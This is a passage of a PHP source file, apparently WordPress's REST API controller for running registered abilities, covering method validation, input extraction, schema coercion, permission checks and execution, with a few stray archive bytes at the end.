// load order - routes are registered early, before plugins have registered their abilities.
// This approach works but could be improved with lazy route registration or a different
// architecture that allows type-specific routes after abilities are registered.
// This was the same issue that we ended up seeing with the Feature API.
array(
'methods' => WP_REST_Server::ALLMETHODS,
'callback' => array( $this, 'execute_ability' ),
'permission_callback' => array( $this, 'check_ability_permissions' ),
'args' => $this->get_run_args(),
),
'schema' => array( $this, 'get_run_schema' ),
)
);
}
/**
* Executes an ability.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function execute_ability( $request ) {
$ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null;
if ( ! $ability ) {
return new WP_Error(
'rest_ability_not_found',
__( 'Ability not found.' ),
array( 'status' => 404 )
);
}
$input = $this->get_input_from_request( $request );
$result = $ability->execute( $input );
if ( is_wp_error( $result ) ) {
return $result;
}
return rest_ensure_response( $result );
}
/**
* Validates if the HTTP method matches the expected method for the ability based on its annotations.
*
* @since 6.9.0
*
* @param string $request_method The HTTP method of the request.
* @param array $annotations The ability annotations.
* @return true|WP_Error True on success, or WP_Error object on failure.
*/
public function validate_request_method( string $request_method, array $annotations ) {
$expected_method = 'POST';
if ( ! empty( $annotations['readonly'] ) ) {
$expected_method = 'GET';
} elseif ( ! empty( $annotations['destructive'] ) && ! empty( $annotations['idempotent'] ) ) {
$expected_method = 'DELETE';
}
if ( $expected_method === $request_method ) {
return true;
}
$error_message = __( 'Abilities that perform updates require POST method.' );
if ( 'GET' === $expected_method ) {
$error_message = __( 'Read-only abilities require GET method.' );
} elseif ( 'DELETE' === $expected_method ) {
$error_message = __( 'Abilities that perform destructive actions require DELETE method.' );
}
return new WP_Error(
'rest_ability_invalid_method',
$error_message,
array( 'status' => 405 )
);
}
/**
* Checks if a given request has permission to execute a specific ability.
*
* @since 6.9.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has execution permission, WP_Error object otherwise.
*/
public function check_ability_permissions( $request ) {
$ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null;
if ( ! $ability || ! $ability->get_meta_item( 'show_in_rest' ) ) {
return new WP_Error(
'rest_ability_not_found',
__( 'Ability not found.' ),
array( 'status' => 404 )
);
}
$is_valid = $this->validate_request_method(
$request->get_method(),
$ability->get_meta_item( 'annotations' )
);
if ( is_wp_error( $is_valid ) ) {
return $is_valid;
}
$input = $this->get_input_from_request( $request );
$input = $ability->normalize_input( $input );
if ( is_wp_error( $input ) ) {
return $this->ensure_error_status( $input, 400 );
}
$is_valid = $ability->validate_input( $input );
if ( is_wp_error( $is_valid ) ) {
return $this->ensure_error_status( $is_valid, 400 );
}
$result = $ability->check_permissions( $input );
if ( is_wp_error( $result ) ) {
$result->add_data( array( 'status' => rest_authorization_required_code() ) );
return $result;
}
if ( ! $result ) {
return new WP_Error(
'rest_ability_cannot_execute',
__( 'Sorry, you are not allowed to execute this ability.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Ensures a WP_Error object carries an HTTP status, adding a default when none is set.
*
* @since 7.1.0
*
* @param WP_Error $error Error object to update.
* @param int $status HTTP status code to add if not already present.
* @return WP_Error The error object, with a default status when needed.
*/
private function ensure_error_status( WP_Error $error, int $status ): WP_Error {
$error_data = $error->get_error_data();
if ( ! is_array( $error_data ) || ! isset( $error_data['status'] ) ) {
$error->add_data( array( 'status' => $status ) );
}
return $error;
}
/**
* Extracts input parameters from the request.
*
* @since 6.9.0
*
* @param WP_REST_Request $request The request object.
* @return mixed|null The input parameters.
*/
private function get_input_from_request( $request ) {
if ( in_array( $request->get_method(), array( 'GET', 'DELETE' ), true ) ) {
// For GET and DELETE requests, look for 'input' query parameter.
$query_params = $request->get_query_params();
return $query_params['input'] ?? null;
}
// For POST requests, look for 'input' in JSON body.
$json_params = $request->get_json_params();
return $json_params['input'] ?? null;
}
/**
* Sanitizes the run input by coercing it to the ability's input schema.
*
* Registered as the `input` argument `sanitize_callback` so that both
* `check_ability_permissions()` and `execute_ability()` receive natively typed input
* regardless of transport.
*
* @since 7.1.0
*
* @see WP_REST_Abilities_V1_Run_Controller::coerce_input_to_schema()
*
* @param mixed $input Raw input extracted from the request.
* @param WP_REST_Request $request The request object.
* @return mixed Coerced input, or the raw input when it cannot be safely coerced.
*/
public function sanitize_input_for_ability( $input, $request ) {
$ability = wp_has_ability( $request['name'] ) ? wp_get_ability( $request['name'] ) : null;
if ( ! $ability instanceof WP_Ability ) {
return $input;
}
return $this->coerce_input_to_schema( $input, $ability );
}
/**
* Coerces raw request input to the types declared in the ability input schema.
*
* GET and DELETE deliver every scalar as a string ("10", "true") and a list as a single
* comma-separated string, so without coercion an ability receives raw strings where its
* schema declares integers, booleans, or arrays.
*
* Coercion never changes what validation accepts. Input is coerced only when
* {@see WP_Ability::validate_input()} already accepts it, and any error surfaced while
* sanitizing falls back to the raw input, so `validate_input()` stays the single authority
* on what is rejected.
*
* @since 7.1.0
*
* @param mixed $input Raw input extracted from the request.
* @param WP_Ability $ability The ability being executed.
* @return mixed Coerced input, or the raw input when it cannot be safely coerced.
*/
private function coerce_input_to_schema( $input, WP_Ability $ability ) {
if ( null === $input ) {
return $input;
}
$schema = $ability->get_input_schema();
if ( empty( $schema ) ) {
return $input;
}
/*
* Only coerce input that already validates. Sanitizing invalid input can silently
* change which values are accepted -- `additionalProperties: false` strips unknown
* keys, and a non-numeric string casts to 0 -- so leaving invalid input untouched
* lets validate_input() reject it exactly as it does without coercion.
*
* validate_input() is asked rather than rest_validate_value_from_schema() so that the
* `wp_ability_validate_input` filter decides what counts as valid here as well. A filter
* that overrides a schema failure accepts the input, so the input is coerced; a filter
* that rejects otherwise valid input leaves it untouched for validate_input() to report.
*/
if ( is_wp_error( $ability->validate_input( $input ) ) ) {
return $input;
}
$sanitized = rest_sanitize_value_from_schema( $input, $schema, 'input' );
/*
* Sanitizing can still surface an error the lenient validation above did not, such as
* items that are unique as strings but collide once cast to integers (`uniqueItems`).
* The error may be returned at the top level or nested inside the returned array, so
* scan recursively and fall back to the raw input on any error.
*/
if ( $this->input_contains_error( $sanitized ) ) {
return $input;
}
return $sanitized;
}
/**
* Determines whether a sanitized value is, or contains, a WP_Error.
*
* @since 7.1.0
*
* @param mixed $value The value to inspect.
* @return bool True if the value is, or contains, a WP_Error.
*/
private function input_contains_error( $value ): bool {
if ( is_wp_error( $value ) ) {
return true;
}
if ( is_array( $value ) ) {
foreach ( $value as $item ) {
if ( $this->input_contains_error( $item ) ) {
return true;
}
}
}
return false;
}
/**
* Retrieves the arguments for ability execution endpoint.
*
* @since 6.9.0
*
* @return array Arguments for the run endpoint.
*/
public function get_run_args(): array {
return array(
'input' => array(
'description' => __( 'Input parameters for the ability execution.' ),
'type' => array( 'integer', 'number', 'boolean', 'string', 'array', 'object', 'null' ),
'default' => null,
'sanitize_callback' => array( $this, 'sanitize_input_for_ability' ),
),
);
}
/**
* Retrieves the schema for ability execution endpoint.
*
* @since 6.9.0
*
* @return array Schema for the run endpoint.
*/
public function get_run_schema(): array {
return array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'ability-execution',
'type' => 'object',
'properties' => array(
'result' => array(
'description' => __( 'The result of the ability execution.' ),
'type' => array( 'integer', 'number', 'boolean', 'string', 'array', 'object', 'null' ),
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
),
);
}
}
PK h0]Rvm<